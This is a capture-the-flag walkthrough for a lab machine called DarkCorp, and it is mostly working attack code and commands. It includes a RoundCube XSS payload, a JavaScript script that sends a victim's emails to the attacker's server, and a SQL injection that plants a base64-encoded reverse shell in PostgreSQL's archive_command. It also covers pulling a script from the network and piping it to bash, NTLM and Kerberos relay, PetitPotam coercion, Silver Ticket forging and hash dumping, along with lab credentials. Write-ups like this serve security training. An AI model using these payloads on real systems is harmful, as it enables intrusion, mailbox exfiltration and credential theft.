Machine Card showing DarkCorp as a hard Windows machine

Reconnaissance

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 33:41:ed:0a:a5:1a:86:d0:cc:2a:a6:2b:8d:8d:b2:ad (ECDSA)
|_  256 04:ad:7e:ba:11:0e:e0:fb:d0:80:d3:24:c2:3e:2c:c5 (ED25519)
80/tcp open  http    nginx 1.22.1
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The results from nmap are somewhat odd considering the target is detected as Linux and does not have any ports commonly associated with Windows open.

Execution

Trying to access port 80 redirects me to drip.htb therefore I add this to my /etc/hosts file and reload the tab. The resulting page is for a convenient e-mail solution called DripMail, powered by RoundCube.

Web page for DripMail

It allows me to create a new account or login to an existing one. The latter is a link to mail.drip.htb and I add this to my hosts file as well.

After creating a new user called root and login into the mail web client, I’m already greeted by multiple mails. Apparently a cronjob is failing to remove the email directories for the users ebelford and support.

RoundCube showing emails of failed cronjobs

The main page for DripMail also features a contact form. Supplying the required values and intercepting the resulting request in BurpSuite lets me modify the recipient from support@drip.htb to root@drip.htb.

BurpSuite showing the intercepted request from the contact form with a modified recipient

Right after forwarding the request there’s a new mail in my inbox with the text I’ve sent via the contact form but also including a signature exposing another account bcase@drip.htb where phishing emails should be sent.

Mail from the contact form with an exposed email address in the signature

The about page in the RoundCube client reports version 1.6.7 and a quick search for any known vulnerabilities uncovers a blog post about CVE-2024-42008 and 42009, a XSS vulnerability that allows an attacker to steal emails and contacts.

First I craft a payload based on the example in the blog post that loads xss.js from my web server but trying to send it via the web client does not have the desired effect.

payload.html
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=document.body.appendChild(Object.assign(document.createElement('script'),{src:'http://10.10.10.10/xss.js'})) foo=bar">
Foo
</body>

In the request via the contact form there was a parameter called content set to text. Sending the same payload via the contact form while setting this parameter to html generates a hit as soon as I view the mail in the browser.

BurpSuite showing the request with the parameter set to html

Now I build a small Javascript script that crawls all emails and sends them off to my web server. It’s based on the network traffic observed while interacting with the web client.

xss.js
let LHOST = '10.10.10.10';
 
async function getMessageCount() {
  return fetch('/?_task=mail&_action=list&_mbox=INBOX&_remote=1')
    .then(res => {
      if (!res.ok) throw new Error('Failed to fetch URL');
      return res.json();
    })
    .then(data => parseInt(data.env.messagecount));
}
 
async function getMessage(id) {
  return fetch(`/?_task=mail&_uid=${id}&_mbox=INBOX&_framed=1&_action=viewsource`)
    .then(res => {
      if (!res.ok) throw new Error('Failed to fetch URL');
      return res.text();
    });
}
 
async function exfil(id=0, data) {
  let payload = btoa(data);
  return fetch(`http://${LHOST}/exfil?id=${id}&data=${payload}`)
    .then(res => {
      if (!res.ok) throw new Error('Failed to fetch URL');
      return res.text();
    });
}
 
async function run() {
    let n = await getMessageCount();
    for (let i = 1; i <= n; i++){
        exfil(i, await getMessage(i));
    }
}
 
run();

Lastly I send the payload to bcase@drip.htb and shortly after I get 3 hits on my web server, the welcome mail, the one I sent and another message from ebelford about a analytics dashboard at dev-a3f1-01.drip.htb and the reminder to reset the password for access.

2.msg
Return-Path: <ebelford@drip.htb>
Delivered-To: bcase@drip.htb
Received: from drip.htb
	by drip with LMTP
	id FvvNKLMba2eECAAAEnDqAQ
	(envelope-from <ebelford@drip.htb>)
	for <bcase@drip.htb>; Tue, 24 Dec 2024 13:38:11 -0700
Received: from drip (localhost [127.0.0.1])
	by drip.htb (Postfix) with ESMTP id 9701FC3199
	for <bcase@drip.htb>; Tue, 24 Dec 2024 13:38:11 -0700 (MST)
Received: from mail.drip.htb ([127.0.0.1])
	by drip with ESMTPA
	id unSjI7Mba2d9CAAAEnDqAQ
	(envelope-from <ebelford@drip.htb>)
	for <bcase@drip.htb>; Tue, 24 Dec 2024 13:38:11 -0700
MIME-Version: 1.0
Date: Tue, 24 Dec 2024 13:38:11 -0700
From: ebelford <ebelford@drip.htb>
To: bcase@drip.htb
Subject: Analytics Dashboard
Message-ID: <dcef4e6be5d93220499ad6dabecfb0ed@drip.htb>
X-Sender: ebelford@drip.htb
Content-Type: text/plain; charset=US-ASCII;
 format=flowed
Content-Transfer-Encoding: 7bit
 
Hey Bryce,
 
The Analytics dashboard is now live. While it's still in development and 
limited in functionality, it should provide a good starting point for 
gathering metadata on the users currently using our service.
 
You can access the dashboard at dev-a3f1-01.drip.htb. Please note that 
you'll need to reset your password before logging in.
 
If you encounter any issues or have feedback, let me know so I can 
address them promptly.
 
Thanks

After adding the new domain to my hosts file I can check it out in the browser and I’m greeted with a login prompt.

Login prompt to the Analytics dashboard

Then I just follow the instructions to reset the password for bcase@drip.htb and send the previous phishing mail again to read the reset mail. Within the exfiltrated messages there’s a link to reset the password for account bcase.

Return-Path: <no-reply@drip.htb>
Delivered-To: bcase@drip.htb
Received: from drip.htb
	by drip.darkcorp.htb with LMTP
	id 4EvwLkcVL2hLxwEA8Y1rLw
	(envelope-from <no-reply@drip.htb>)
	for <bcase@drip.htb>; Thu, 22 May 2025 06:15:03 -0600
Received: from drip.darkcorp.htb (localhost [127.0.0.1])
	by drip.htb (Postfix) with ESMTP id BE68225C5
	for <bcase@drip.htb>; Thu, 22 May 2025 06:15:03 -0600 (MDT)
Content-Type: text/plain; charset="utf-8"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Subject: Reset token
From: no-reply@drip.htb
To: bcase@drip.htb
Date: Thu, 22 May 2025 06:15:03 -0600
Message-ID: <174791610377.651.7645683911027073625@drip.darkcorp.htb>
Reply-To: support@drip.htb

Your reset token has generated.  Please reset your password within the next 5 minutes.

You may reset your password here: http://dev-a3f1-01.drip.htb/reset/ImJjYXNlQGRyaXAuaHRiIg.aC8VRw.Ns5Yl5Jvtzn8E1VR8e8qEkWPiKA

Resetting the password for bcase and using the new credentials to login let me access the dashboard. It offers a search bar but searching anything leads to an error message from the backend Postgres database.

Searching on the Dashboard produces an error message

Dumping parts of the database does not lead anywhere so I opt to get remote code execution through the archive command. I’ll start by determining the Postgres version in use and this returns 15.

'test'; SELECT version();

PostgreSQL 15.10 (Debian 15.10-0+deb12u1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 12.2.0-14) 12.2.0, 64-bit

Then I load the configuration /etc/postgresql/15/main/postgresql.conf file into a new large and this returns the object ID 116604, but does not print the contents.

'test'; SELECT lo_import('/etc/postgresql/15/main/postgresql.conf')

116604

Next I select the data contained in the object and this displays the whole configuration file in first column of the table.

'test'; SELECT encode(lo_get(116604), 'escape')

# -----------------------------
# PostgreSQL configuration file
# -----------------------------
#
--- SNIP ---

Glancing over the enabled options, I’m lucky and the archive_mode is already set to on otherwise I could not proceed with this approach. I then set the archive_command to a base64 encoded reverse shell.

# - Archiving -
 
archive_mode = on             # enables archiving; off, on, or always
                                # (change requires restart)
#archive_library = ''           # library to use to archive a logfile segment
                                # (empty string indicates archive_command should
                                # be used)
archive_command = 'echo "c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTAuMTAvNDQ0NCAwPiYx" | base64 --decode | bash'
                                # e.g. 'test ! -f /mnt/server/archivedir/%f && cp %p /mnt/server/archivedir/%f'
#archive_timeout = 0            # force a logfile segment switch after this
                                # number of seconds; 0 disables

Since I want to update the configuration on the target and posting the whole file ends up in a 502 error, I decide to remove all comments and only focus on the parameters currently in use.

data_directory = '/var/lib/postgresql/15/main'          
hba_file = '/etc/postgresql/15/main/pg_hba.conf'        
ident_file = '/etc/postgresql/15/main/pg_ident.conf'    
external_pid_file = '/var/run/postgresql/15-main.pid'                   
port = 5432                             
max_connections = 100                   
unix_socket_directories = '/var/run/postgresql' 
ssl = off
ssl_cert_file = '/etc/ssl/certs/ssl-cert-snakeoil.pem'
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'
shared_buffers = 128MB                  
dynamic_shared_memory_type = posix      
max_wal_size = 1GB
min_wal_size = 80MB
archive_mode = on             
archive_command = 'echo "c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTAuMTAvNDQ0NCAwPiYx" | base64 --decode | bash'
log_line_prefix = '%m [%p] %q%u@%d '            
log_timezone = 'US/Mountain'
cluster_name = '15/main'                        
datestyle = 'iso, mdy'
timezone = 'US/Mountain'
lc_messages = 'en_US.UTF-8'                     
lc_monetary = 'en_US.UTF-8'                     
lc_numeric = 'en_US.UTF-8'                      
lc_time = 'en_US.UTF-8'                         
default_text_search_config = 'pg_catalog.english'
include_dir = 'conf.d'

In order to avoid issues with special characters I encode the configuration file in base64 and then use lo_from_bytea to load the decoded configuration into another large object with id 12345.

'test';SELECT lo_from_bytea(12345, decode('ZGF0YV9kaXJlY3RvcnkgPSAnL3Zhci9saWIvcG9zdGdyZXNxbC8xNS9tYWluJyAgICAgICAgICAKaGJhX2ZpbGUgPSAnL2V0Yy9wb3N0Z3Jlc3FsLzE1L21haW4vcGdfaGJhLmNvbmYnICAgICAgICAKaWRlbnRfZmlsZSA9ICcvZXRjL3Bvc3RncmVzcWwvMTUvbWFpbi9wZ19pZGVudC5jb25mJyAgICAKZXh0ZXJuYWxfcGlkX2ZpbGUgPSAnL3Zhci9ydW4vcG9zdGdyZXNxbC8xNS1tYWluLnBpZCcgICAgICAgICAgICAgICAgICAgCnBvcnQgPSA1NDMyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKbWF4X2Nvbm5lY3Rpb25zID0gMTAwICAgICAgICAgICAgICAgICAgIAp1bml4X3NvY2tldF9kaXJlY3RvcmllcyA9ICcvdmFyL3J1bi9wb3N0Z3Jlc3FsJyAKc3NsID0gb2ZmCnNzbF9jZXJ0X2ZpbGUgPSAnL2V0Yy9zc2wvY2VydHMvc3NsLWNlcnQtc25ha2VvaWwucGVtJwpzc2xfa2V5X2ZpbGUgPSAnL2V0Yy9zc2wvcHJpdmF0ZS9zc2wtY2VydC1zbmFrZW9pbC5rZXknCnNoYXJlZF9idWZmZXJzID0gMTI4TUIgICAgICAgICAgICAgICAgICAKZHluYW1pY19zaGFyZWRfbWVtb3J5X3R5cGUgPSBwb3NpeCAgICAgIAptYXhfd2FsX3NpemUgPSAxR0IKbWluX3dhbF9zaXplID0gODBNQgphcmNoaXZlX21vZGUgPSBvbiAgICAgICAgICAgICAKYXJjaGl2ZV9jb21tYW5kID0gJ2VjaG8gImMyZ2dMV2tnUGlZZ0wyUmxkaTkwWTNBdk1UQXVNVEF1TVRBdU1UQXZORFEwTkNBd1BpWXgiIHwgYmFzZTY0IC0tZGVjb2RlIHwgYmFzaCcKbG9nX2xpbmVfcHJlZml4ID0gJyVtIFslcF0gJXEldUAlZCAnICAgICAgICAgICAgCmxvZ190aW1lem9uZSA9ICdVUy9Nb3VudGFpbicKY2x1c3Rlcl9uYW1lID0gJzE1L21haW4nICAgICAgICAgICAgICAgICAgICAgICAgCmRhdGVzdHlsZSA9ICdpc28sIG1keScKdGltZXpvbmUgPSAnVVMvTW91bnRhaW4nCmxjX21lc3NhZ2VzID0gJ2VuX1VTLlVURi04JyAgICAgICAgICAgICAgICAgICAgIApsY19tb25ldGFyeSA9ICdlbl9VUy5VVEYtOCcgICAgICAgICAgICAgICAgICAgICAKbGNfbnVtZXJpYyA9ICdlbl9VUy5VVEYtOCcgICAgICAgICAgICAgICAgICAgICAgCmxjX3RpbWUgPSAnZW5fVVMuVVRGLTgnICAgICAgICAgICAgICAgICAgICAgICAgIApkZWZhdWx0X3RleHRfc2VhcmNoX2NvbmZpZyA9ICdwZ19jYXRhbG9nLmVuZ2xpc2gnCmluY2x1ZGVfZGlyID0gJ2NvbmYuZCc=', 'base64'));

12345

Then I write the contents of the object back into the configuration file on disk and issue a reload of the config with pg_reload_conf().

'test'; SELECT lo_export(12345, '/etc/postgresql/15/main/postgresql.conf')

1

'test';SELECT pg_reload_conf();

True

At last I setup my listener to catch the reverse shell that I trigger with *pg_switch_wal().*

'test';SELECT pg_switch_wal();

... hangs ...

Privilege Escalation

Shell as ebelford

Dropped into a shell as postgres and checking out the source code of the web application in /var/www/html/dashboard reveals an .env file with credentials for the database user.

# True for development, False for production
DEBUG=False
 
# Flask ENV
FLASK_APP=run.py
FLASK_ENV=development
 
# If not provided, a random one is generated 
# SECRET_KEY=<YOUR_SUPER_KEY_HERE>
 
# Used for CDN (in production)
# No Slash at the end
ASSETS_ROOT=/static/assets
 
# If DB credentials (if NOT provided, or wrong values SQLite is used) 
DB_ENGINE=postgresql
DB_HOST=localhost
DB_NAME=dripmail
DB_USERNAME=dripmail_dba
DB_PASS=2Qa2SsBkQvsc
DB_PORT=5432
 
SQLALCHEMY_DATABASE_URI = 'postgresql://dripmail_dba:2Qa2SsBkQvsc@localhost/dripmail'
SQLALCHEMY_TRACK_MODIFICATIONS = True
SECRET_KEY = 'GCqtvsJtexx5B7xHNVxVj0y2X0m10jq'
MAIL_SERVER = 'drip.htb'
MAIL_PORT = 25
MAIL_USE_TLS = False
MAIL_USE_SSL = False
MAIL_USERNAME = None
MAIL_PASSWORD = None
MAIL_DEFAULT_SENDER = 'support@drip.htb'

But even though I can list the currently configured users in the database, none of the password hashes crack. I proceed to run linpeas to check for misconfigurations. The script reports a PGP key and an encrypted SQL file.

$ curl http://10.10.10.10/linpeas.sh | bash | tee -a /dev/shm/output.txt
 
--- SNIP ---
╔══════════╣ Analyzing PGP-GPG Files (limit 70)
/usr/bin/gpg
/var/lib/postgresql/.gnupg/pubring.kbx
--------------------------------------
pub   rsa3072 2025-01-08 [SC] [expires: 2027-01-08]
      3AA1F620319ABF74EF5179C0F426B2D867825D9F
uid           [ultimate] postgres <postgres@drip.darkcorp.htb>
sub   rsa3072 2025-01-08 [E] [expires: 2027-01-08]
 
netpgpkeys Not Found
netpgp Not Found
 
-rw-r--r-- 1 root root 3902 Mar 26  2023 /usr/share/gnupg/distsigkey.gpg
-rw-r--r-- 1 root root 8700 Jul 30  2023 /usr/share/keyrings/debian-archive-bookworm-automatic.gpg
-rw-r--r-- 1 root root 8709 Jul 30  2023 /usr/share/keyrings/debian-archive-bookworm-security-automatic.gpg
-rw-r--r-- 1 root root 280 Jul 30  2023 /usr/share/keyrings/debian-archive-bookworm-stable.gpg
-rw-r--r-- 1 root root 8700 Jul 30  2023 /usr/share/keyrings/debian-archive-bullseye-automatic.gpg
-rw-r--r-- 1 root root 8709 Jul 30  2023 /usr/share/keyrings/debian-archive-bullseye-security-automatic.gpg
-rw-r--r-- 1 root root 2453 Jul 30  2023 /usr/share/keyrings/debian-archive-bullseye-stable.gpg
-rw-r--r-- 1 root root 8132 Jul 30  2023 /usr/share/keyrings/debian-archive-buster-automatic.gpg
-rw-r--r-- 1 root root 8141 Jul 30  2023 /usr/share/keyrings/debian-archive-buster-security-automatic.gpg
-rw-r--r-- 1 root root 2332 Jul 30  2023 /usr/share/keyrings/debian-archive-buster-stable.gpg
-rw-r--r-- 1 root root 56156 Jul 30  2023 /usr/share/keyrings/debian-archive-keyring.gpg
-rw-r--r-- 1 root root 54031 Jul 30  2023 /usr/share/keyrings/debian-archive-removed-keys.gpg
-rw-r--r-- 1 root root 3494 Nov 16  2022 /usr/share/postgresql-common/pgdg/apt.postgresql.org.gpg
-rw-r--r-- 1 postgres postgres 1784 Feb  5 12:52 /var/backups/postgres/dev-dripmail.old.sql.gpg
-rw------- 1 postgres postgres 1280 Jan  8 15:02 /var/lib/postgresql/.gnupg/trustdb.gpg
 
drwx------ 4 postgres postgres 4096 May 22 07:50 /var/lib/postgresql/.gnupg

The decryption asks for a password and using 2Qa2SsBkQvsc from the .env file is working.

$ gpg --decrypt /var/backups/postgres/dev-dripmail.old.sql.gpg > /dev/shm/dev-dripmail.old.sql
gpg: encrypted with 3072-bit RSA key, ID 1112336661D8BC1F, created 2025-01-08
      "postgres <postgres@drip.darkcorp.htb>"

Within the decrypted file there are several more hashes that do not match the ones in the database. Not too surprising considering that’s an old backup.

dev-dripmail.old.sql
--- SNIP ---
--
-- Data for Name: Admins; Type: TABLE DATA; Schema: public; Owner: postgres
--
 
COPY public."Admins" (id, username, password, email) FROM stdin;
1       bcase   dc5484871bc95c4eab58032884be7225        bcase@drip.htb
2   victor.r    cac1c7b0e7008d67b6db40c03e76b9c0    victor.r@drip.htb
3   ebelford    8bbd7f88841b4223ae63c8848969be86    ebelford@drip.htb
\.
 
 
--
-- Data for Name: Users; Type: TABLE DATA; Schema: public; Owner: postgres
--
 
COPY public."Users" (id, username, password, email, host_header, ip_address) FROM stdin;
5001    support d9b9ecbf29db8054b21f303072b37c4e        support@drip.htb        Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/114.0.0.0   10.0.50.10
5002    bcase   1eace53df87b9a15a37fdc11da2d298d        bcase@drip.htb  Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/114.0.0.0   10.0.50.10
5003    ebelford        0cebd84e066fd988e89083879e88c5f9        ebelford@drip.htb       Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 OPR/114.0.0.0   10.0.50.10
\.
--- SNIP ---

Cracking the MD5 hashes with hashcat returns the passwords for ebelford, victor.r and support.

ebelford:8bbd7f88841b4223ae63c8848969be86:ThePlague61780
victor.r:cac1c7b0e7008d67b6db40c03e76b9c0:victor1gustavo@#
support:cac1c7b0e7008d67b6db40c03e76b9c0:victor1gustavo@#

The only user configured in /etc/passwd is ebelford and I can use the password ThePlague61780 to login via SSH.

Shell as Administrator (WEB-01)

Through SSH I open a SOCKS proxy (-D 1080) to access the 172.16.20.0/24 subnet from my machine. Then I use nxc to scan the IP range to find DC-01 on 172.16.20.1 and WEB-01 on 172.16.20.2. I add those entries to my hosts file.

$ proxychains -q nxc smb 172.16.20.0/24
SMB         172.16.20.1     445    DC-01            [*] Windows Server 2022 Build 20348 x64 (name:DC-01) (domain:darkcorp.htb) (signing:True) (SMBv1:False) 
SMB         172.16.20.2     445    WEB-01           [*] Windows Server 2022 Build 20348 x64 (name:WEB-01) (domain:darkcorp.htb) (signing:False) (SMBv1:False) 
Running nxc against 256 targets ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00

Uploading a statically compiled nmap binary I can check for all open ports on those two hosts. Even though there’s a web server running on the Domain Controller it just redirects to drip.htb. The web server on WEB-01 just displays the default IIS page but there’s also port 5000.

$ ./nmap -p- 172.16.20.1-2
 
--- SNIP ---
Nmap scan report for DC-01 (172.16.20.1)
Host is up (0.0017s latency).
Not shown: 65506 filtered ports
PORT      STATE SERVICE
22/tcp    open  ssh
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos
135/tcp   open  epmap
139/tcp   open  netbios-ssn
389/tcp   open  ldap
443/tcp   open  https
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd
593/tcp   open  unknown
636/tcp   open  ldaps
2179/tcp  open  unknown
3268/tcp  open  unknown
3269/tcp  open  unknown
5985/tcp  open  unknown
9389/tcp  open  unknown
--- SNIP ---
 
Nmap scan report for 172.16.20.2
Host is up (0.0027s latency).
Not shown: 65520 closed ports
PORT      STATE SERVICE
80/tcp    open  http
135/tcp   open  epmap
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
5000/tcp  open  unknown
5985/tcp  open  unknown
--- SNIP ---

As soon as I try to access http://web-01.darkcorp.htb:5000 it prompts me for credentials and trying the ones I already collected let me login with victor.r:victor1gustavo@#. The browser network tab reveals that the authentication uses NTLM.

The dashboard is for an internal status monitor reporting different services as operational or broken. Export Logs downloads a CSV file with the collected data but does not expose any parameter and Graphs just display the same data.

Dashboard for the status monitor on WEB-01

Check Status on the other hand offers a form to send a requests to a fixed list of hosts via HTTP or HTTPS while also specifying one of three ports. Now this check might only be implemented on the client side and I’ll try to send the data via curl.

proxychains -q curl 'http://web-01.darkcorp.htb:5000/status' \
                    --json '{"protocol":"http","host":"10.10.10.10","port":"80"}' \
                    -u 'victor.r:victor1gustavo@#' \
                    --ntlm

Using a protocol other than HTTP(s) or an IP as host fails with an error message complaining about invalid input. I’ll try to setup a listener on drip.darkcorp.htb with python3 -m http.server 9999.

proxychains -q curl 'http://web-01.darkcorp.htb:5000/status' \
                    --json '{"protocol":"http","host":"drip.darkcorp.htb","port":"9999"}' \
                    -u 'victor.r:victor1gustavo@#' \
                    --ntlm
{"message":"http://drip.darkcorp.htb:9999 is up!","status":"Success!"}

The status check could also use NTLM authentication therefore I plan to setup ntlmrelayx to capture potential hashes. In order for the monitor to reach my machine I tear down the SOCKS proxy through SSH and upload chisel. Locally I do run chisel in server mode and then on drip I run the binary to connect back while opening a SOCKS proxy and forward the port 8888 to my local port 80.

# Local
./chisel_linux_amd64 server --port 1337 --reverse
 
# drip.darkcorp.htb
./chisel_linux_amd64 client 10.10.10.10:1337 R:socks 8888:10.10.10.10:80

With the port forwarding up, I run ntlmrelayx with the SOCKS proxy to reach the Domain Controller and instruct it to save all captured hashes to an output file. Pointing the curl command to port 8888 instead, generates a connection on the relay as DARKCORP/SVC_ACC. Even though the NetNTLMv2 hash was captured, it does not crack.

$ proxychains -q impacket-ntlmrelayx -t smb://172.16.20.1 \
	                                     -smb2support 
	                                     --output-file hash
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 
 
--- SNIP ---
[*] Servers started, waiting for connections
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Connection from 10.10.10.10 controlled, attacking target smb://172.16.20.1
[-] Signing is required, attack won't work unless using -remove-target / --remove-mic
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Authenticating against smb://172.16.20.1 as DARKCORP/SVC_ACC SUCCEED
[-] SMB SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.

bloodhound-ce-python is my go-to tool to collect the data for BloodHound but this time it needs a bit of help to connect to the Domain Controller because the DNS service on the DC returns the public IP instead of the private one. To fix this I add dnat <PUBLIC IP> 172.16.20.1 to /etc/proxychains4.conf and proxychains will just NAT the connection correctly.

$ proxychains -q bloodhound-ce-python -d darkcorp.htb \
                                      -dc dc-01.darkcorp.htb \
                                      -u 'victor.r' \
                                      -p 'victor1gustavo@#' \
                                      -c ALL \
                                      --zip \
                                      -ns 172.16.20.1 \
                                      --dns-tcp
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: darkcorp.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc-01.darkcorp.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 3 computers
INFO: Connecting to LDAP server: dc-01.darkcorp.htb
INFO: Found 13 users
INFO: Found 54 groups
INFO: Found 3 gpos
INFO: Found 4 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: WEB-01.darkcorp.htb
INFO: Querying computer: drip.darkcorp.htb
INFO: Querying computer: DC-01.darkcorp.htb
INFO: Done in 00M 05S
INFO: Compressing output into 20250522183915_bloodhound.zip
 

After loading the ZIP file into BloodHound I can see that SVC_ACC is part of the DNSADMINS group and can likely modify DNS entries.

BloodHound showing the membership in the DNSADMINS group

Now I can use the NTLM relay to add a new DNS record to the domain through the interaction with the status monitor. A blog post shows a way to abuse that and use it to relay Kerberos authentication from SMB to the ADCS for generating a new machine certificate.

I spin up ntlmrelayx once again but this time with extra flags to create the DNS entry dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA pointing towards my own IP to be created via LDAPS on the Domain Controller. Sending off the previous curl command triggers another connection on my relay and the DNS entry is added successfully.

$ proxychains -q impacket-ntlmrelayx -t ldaps://172.16.20.1 \
                                     -smb2support \
                                     --no-dump \
                                     --no-da \
                                     --no-acl \
                                     --add-dns-record \
                                     dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA \
                                     10.10.10.10
--- SNIP ---
[*] Servers started, waiting for connections
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Connection from 10.10.10.10 controlled, attacking target ldaps://172.16.20.1
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Authenticating against ldaps://172.16.20.1 as DARKCORP/SVC_ACC SUCCEED
[*] Enumerating relayed user's privileges. This may take a while on large domains
[*] Checking if domain already has a `dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA` DNS record
[*] Domain does not have a `dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA` record!
[*] Adding `A` record `dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA` pointing to `10.10.10.10` at `DC=dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA,DC=darkcorp.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=darkcorp,DC=htb`
[*] Added `A` record `dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA`. DON'T FORGET TO CLEANUP (set `dNSTombstoned` to `TRUE`, set `dnsRecord` to a NULL byte)

The prerequisite is in place and I tear down the ntlmrelayx to replace it with krbrelayx. This time I use PetitPotam to coerce the server WEB-01 to authenticate to me via SMB. The connection is relayed to the Active Directory Certificate Service running on the Domain Controller and a new certificate for the machine account is requested.

$ proxychains -q python3 krbrelayx.py -t https://dc-01.darkcorp.htb/certsrv/certfnsh.asp \
                                      --adcs \
                                      -v 'WEB-01$'
--- SNIP ---
[*] Servers started, waiting for connections
[*] SMBD: Received connection from 10.129.97.146
[*] HTTP server returned status code 200, treating as a successful login
[*] SMBD: Received connection from 10.129.97.146
[*] HTTP server returned status code 200, treating as a successful login
[*] Generating CSR...
[*] CSR generated!
[*] Getting certificate...
[*] GOT CERTIFICATE! ID 7
[*] Writing PKCS#12 certificate to ./WEB-01$.pfx
[*] Certificate successfully written to file
[*] Skipping user WEB-01$ since attack was already performed
$ proxychains -q python3 PetitPotam.py -u 'victor.r' \
                                       -p 'victor1gustavo@#' \
                                       -dc-ip 172.16.20.1 \
                                       'dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' \
                                       172.16.20.2

Using the generated PFX file with certipy I authenticate as WEB-01$ and get a TGT as well as the NTLM hash of that account.

$ proxychains -q certipy-ad auth -pfx WEB-01\$.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)
 
[*] Using principal: web-01$@darkcorp.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'web-01.ccache'
[*] Trying to retrieve NT hash for 'web-01$'
[*] Got hash for 'web-01$@darkcorp.htb': aad3b435b51404eeaad3b435b51404ee:8f33c7fc7ff515c1f358e488fbb8b675

In possession of the NTLM hash for the machine account I can forge a Silver Ticket with impacket-ticketer and impersonate the Administrator account on that host1. Besides the information I already have it requires the SID of the domain and I can look that up in BloodHound on the domain object itself.

$ impacket-ticketer -domain-sid S-1-5-21-3432610366-2163336488-3604236847 \
                    -domain DARKCORP.HTB \
                    -spn HOST/WEB-01.darkcorp.htb \
                    -nthash 8f33c7fc7ff515c1f358e488fbb8b675 \
                    -user-id 500 \
                    Administrator
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
 
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for DARKCORP.HTB/Administrator
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Saving ticket in Administrator.ccache

Through secretsdump I dump all the local hashes and cached credentials on WEB-01 by authenticating with the Silver Ticket in Administrator.ccache. The ticket works also for command execution via evil-winrm or wmiexec and there I find the first flag.

$ export KRB5CCNAME=Administrator.ccache
 
$ proxychains -q impacket-secretsdump -k \
                                      -no-pass \
                                      Administrator@web-01.darkcorp.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 
 
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x4cf6d0e998d53752d088e233abb4bed6
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:88d84ec08dad123eb04a060a74053f21:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping cached domain logon information (domain/username:hash)
DARKCORP.HTB/svc_acc:$DCC2$10240#svc_acc#3a5485946a63220d3c4b118b36361dbb: (2025-05-22 14:43:19)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
